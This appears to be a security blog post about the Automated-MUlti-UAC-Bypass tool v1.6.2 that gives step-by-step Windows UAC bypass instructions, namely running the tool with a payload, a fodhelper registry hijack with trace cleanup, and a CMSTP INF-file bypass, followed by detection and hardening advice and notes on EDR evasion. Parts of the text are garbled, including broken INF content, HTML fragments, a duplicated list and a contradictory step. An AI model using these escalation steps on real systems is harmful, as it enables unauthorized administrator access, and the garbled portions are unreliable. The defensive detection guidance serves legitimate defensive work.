Listen to this Post
Introduction:
User Account Control (UAC) remains one of the primary defensive layers in modern Windows environments, designed to prevent unauthorized system changes. However, red teamers and penetration testers continuously evolve their tradecraft to bypass these restrictions, and the latest update to the Automated-MUlti-UAC-Bypass tool, version 1.6.2, introduces a streamlined method for compromising Windows 10, 11, the upcoming Windows 12 pre-release, and Windows Server 2019/2022. This article dissects the technical mechanics of the updated tool, explores manual exploitation techniques, and provides defensive strategies to detect such privilege escalation attempts.
Learning Objectives:
- Understand how automated UAC bypass tools operate and their updated evasion techniques.
- Execute manual UAC bypass methods using native Windows binaries and PowerShell.
- Implement detection rules and hardening measures to mitigate UAC bypass attacks.
You Should Know:
- Automated Multi UAC Bypass v1.6.2: Updated Mechanics and Execution
The recently updated tool, maintained in the x0xr00t/Automated-MUlti-UAC-Bypass GitHub repository, leverages multiple known UAC bypass techniques to elevate a process from medium integrity (standard user) to high integrity (administrator) without prompting the user for consent. Version 1.6.2 focuses on compatibility with the latest Windows builds, including the Windows 12 pre-release and Windows Server 2022, while the next release promises to reintroduce obfuscation layers for improved evasion against endpoint detection and response (EDR) solutions.
The core principle behind many UAC bypasses involves exploiting trusted Windows executables (auto-elevated binaries) that run with high integrity. The tool automates the abuse of these binaries, such as fodhelper.exe, ComputerDefaults.exe, or eventvwr.exe, to execute arbitrary code with elevated privileges. By modifying registry keys or using DLL hijacking techniques, the tool forces these trusted binaries to launch a payload under the context of an administrator.
Step‑by‑step guide for using the tool (Lab Environment Only):
1. Clone the repository:
git clone https://github.com/x0xr00t/Automated-MUlti-UAC-Bypass.git
2. Navigate to the directory and review the scripts. For the latest version (v1.6.2), locate the primary PowerShell or C implementation.
3. Execute the tool with administrative privileges (if you have a high-integrity shell, you wouldn’t need the bypass; this is run from a medium-integrity context):
Example: Using the PowerShell implementation powershell -ExecutionPolicy Bypass -File .\UAC_Bypass.ps1 -Payload "C:\path\to\your\payload.exe"
4. Alternatively, compile the provided C code:
csc.exe /target:exe /out:UACBypass.exe UACBypass.cs UACBypass.exe -m 1 -p "C:\payload.exe"
5. Verify the elevation by checking the spawned process integrity level using Process Explorer or PowerShell:
Get-Process -Name payload | Select-Object -ExpandProperty StartInfo
2. Manual UAC Bypass Techniques: CMSTP and Fodhelper
While automated tools simplify the process, understanding manual techniques is crucial for detection engineering and incident response. Two classic methods that remain effective on unpatched or misconfigured systems are CMSTP (Connection Manager Profile Installer) and Fodhelper (Features on Demand helper).
Step‑by‑step guide for manual fodhelper bypass:
- Open a command prompt or PowerShell as a standard user.
- Create a registry key that fodhelper checks for auto-elevation:
reg add HKCU\Software\Classes\ms-settings\shell\open\command /d "C:\Windows\System32\cmd.exe /c C:\Users\Public\payload.exe" /f
- Add a DelegateExecute value to suppress the UAC prompt:
reg add HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_SZ /d "" /f
4. Trigger the auto-elevated binary:
fodhelper.exe
5. The system executes `payload.exe` with high integrity without any prompt. Clean up the registry to remove traces:
reg delete HKCU\Software\Classes\ms-settings\shell\open\command /f
Step‑by‑step guide for manual CMSTP bypass:
- Create a malicious INF file (e.g.,
bypass.inf) with the following content:[bash] Signature=$chicago$ AdvancedINF=2.5</li> </ol> [bash] RunPreSetupCommands=Command1 [bash] C:\Windows\System32\cmd.exe /c C:\Users\Public\payload.exe
2. Execute the INF file using CMSTP:
cmstp.exe /ni /s bypass.inf
3. The payload executes with the integrity level of CMSTP, which is high if run from an administrator account. Note that this technique is often monitored by EDR due to its abuse by malware families like Ursnif.
3. Detection and Mitigation Strategies
Defending against UAC bypasses requires a layered approach focusing on registry monitoring, process execution logging, and application whitelisting. Since UAC bypasses exploit legitimate Windows binaries, detection must shift to anomaly identification rather than simple signature matching.
Step‑by‑step guide for hardening and detection:
- Enable Sysmon with robust configuration: Monitor for
fodhelper.exe,computerdefaults.exe,eventvwr.exe, and `cmstp.exe` spawning child processes that are not their typical children. - Deploy Windows Defender Application Control (WDAC) or AppLocker: Restrict the execution of scripts and binaries from untrusted locations. For example, block PowerShell from executing in User directories.
- Implement Registry Auditing: Use Group Policy to enable auditing on `HKCU\Software\Classes\` and `HKLM\Software\Classes\` to detect unauthorized modifications.
auditpol /set /subcategory:"Registry" /success:enable /failure:enable
- UAC Hardening: Set UAC to “Always Notify” (Level 4) to reduce the attack surface, although this is not a complete prevention.
5. Create custom detection rules in SIEM:
- Event ID 4688 (Process Creation) with parent process being any of the auto-elevated binaries and child process being
cmd.exe,powershell.exe, orrundll32.exe. - Event ID 4657 (Registry Value Changes) on paths like `\shell\open\command` or
\shell\\command.
4. The Role of Obfuscation and Evasion
As noted in the update notification, the next release will “add the previous obfuscations back, for more improved evading.” This highlights the cat-and-mouse game between red team tools and security products. Obfuscation in UAC bypass tools typically involves:
– Encrypted payloads: The malicious code is stored encrypted and decrypted in memory only at runtime.
– API unhooking: Removing hooks placed by EDRs in user-mode Windows APIs.
– PowerShell downgrade attacks: Forcing PowerShell to run in version 2.0, which lacks advanced logging.Step‑by‑step guide to detect obfuscated execution:
- Enable PowerShell Script Block Logging (Event ID 4104):
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1 -Type DWord
- Use the AMSI (Antimalware Scan Interface) to inspect scripts before execution. Ensure AMSI is not disabled by scanning for `amsi.dll` being loaded and checking for attempts to patch it.
- Monitor for unusual parent-child process relationships, especially where a process like `svchost.exe` or `explorer.exe` spawns a shell.
What Undercode Say:
- Key Takeaway 1: Automated UAC bypass tools are becoming increasingly sophisticated, with version 1.6.2 demonstrating that even pre-release Windows versions are targeted immediately. Defenders must prioritize patch management and behavioral detection over static signatures.
- Key Takeaway 2: Manual exploitation techniques like fodhelper and CMSTP remain viable due to their reliance on trusted binaries. Effective defense requires strict registry monitoring and application control, as no single patch eliminates all UAC bypass vectors.
Analysis: The update to this tool underscores a persistent truth in Windows security: UAC, while a valuable security boundary, is not a reliable barrier against determined adversaries. The reliance on auto-elevated executables creates a fundamental vulnerability that red teams will continue to exploit. The reintroduction of obfuscation in future releases signals an evolution towards evading next-generation antivirus and EDR, forcing security teams to shift focus from preventing execution to detecting malicious behavior through EDR telemetry and advanced hunting queries.
Prediction:
As Microsoft continues to develop Windows 12, we can anticipate significant changes to the UAC architecture, potentially deprecating the auto-elevation model or implementing stricter integrity controls. However, until legacy compatibility is fully abandoned, UAC bypass techniques will remain a staple in the red team arsenal. The future will likely see these tools incorporate AI-driven evasion, such as dynamically generating new bypass vectors based on the target’s specific patch level and security configuration, making traditional signature-based defenses obsolete.
▶️ Related Video (74% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Patrick Hoogeveen – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]
📢 Follow UndercodeTesting & Stay Tuned:
- Enable Sysmon with robust configuration: Monitor for
